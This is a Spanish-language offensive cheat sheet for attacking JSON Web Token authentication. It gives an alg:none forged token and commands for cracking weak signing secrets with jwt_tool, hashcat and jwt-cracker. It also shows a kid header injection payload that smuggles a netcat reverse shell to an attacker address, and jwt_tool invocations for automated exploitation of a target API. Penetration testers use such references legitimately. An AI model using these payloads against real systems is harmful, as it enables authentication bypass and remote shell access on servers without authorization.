JSON Web Token (JWT)

Sin verificación de firma

Realizar libremente cualquier cambio en el token JWT.

Algoritmo none

JWT admite un algoritmo none (ningún algoritmo), que el servidor puede aceptar si utiliza una biblioteca obsoleta para procesar JWT. Si alg (abreviatura de algoritmo) se establece en none, cualquier token se considerará válido si la firma se establece en vacío.

# JSON header
{"alg":"none","typ":"JWT"}

# JWT
eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.base64UrlEncode(payload).

# JWT Tool
jwt_tool.py -X a <jwt>

Confusión de algoritmo

Secreto débil

Ataque de diccionario

# JWT Tool
jwt_tool.py -C -d <path-wordlist> <jwt>

# Hashcat
echo "<jwt>" > jwt.txt
hashcat -m 16500 -a 0 jwt.txt <path-wordlist>

Ataque de fuerza bruta

# JWT Cracker
jwt-cracker <jwt>
jwt-cracker <jwt> <alphabet> <max-length>

Inyecciones en parámetros de encabezado

KID

Los servidores pueden usar varias claves criptográficas para firmar diferentes tipos de datos, no solo JWT. Por esta razón, el encabezado de un JWT puede contener el parámetro kid (ID de clave), que ayuda al servidor a identificar qué clave usar al verificar la firma de un token JWT.

Ejecución de comandos con reverse shell.

{
  "alg": "HS256",
  "typ": "JWT",
  "kid": "default.key\";rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc <attacker-IP-address> <listen-port> >/tmp/f;\""
}

Otros claims

  • jwk

  • jku

  • x5c

  • x5u

JWT Tool

Ejecución de todas las pruebas (all test).

# at = all test
jwt_tool.py -M at -t "https://<target>/<api>" -rh "Authorization: Bearer <jwt-token>"

# Revisión de resultados
jwt_tool.py -Q "jwttool_<id>"

Explotación de vulnerabilidades conocidas.

# a = alg:none
jwt_tool.py -X a <jwt>

# n = firma en null
jwt_tool.py -X n <jwt>

# b = contraseña en blanco aceptada en la firma
jwt_tool.py -X b <jwt>

# Secreto débil (ataque de diccionario)
jwt_tool.py -C -d <path-wordlist> <jwt>

Ingresar/modificar de información de JSON Web Token (JWT).

# Modo interactivo
jwt_tool.py -T <jwt>

# Ingreso/modificación directa
jwt_tool.py -I -S <algorithm> -pc '<name>' -pv '<value>' -p '<secret>' <jwt>

Última actualización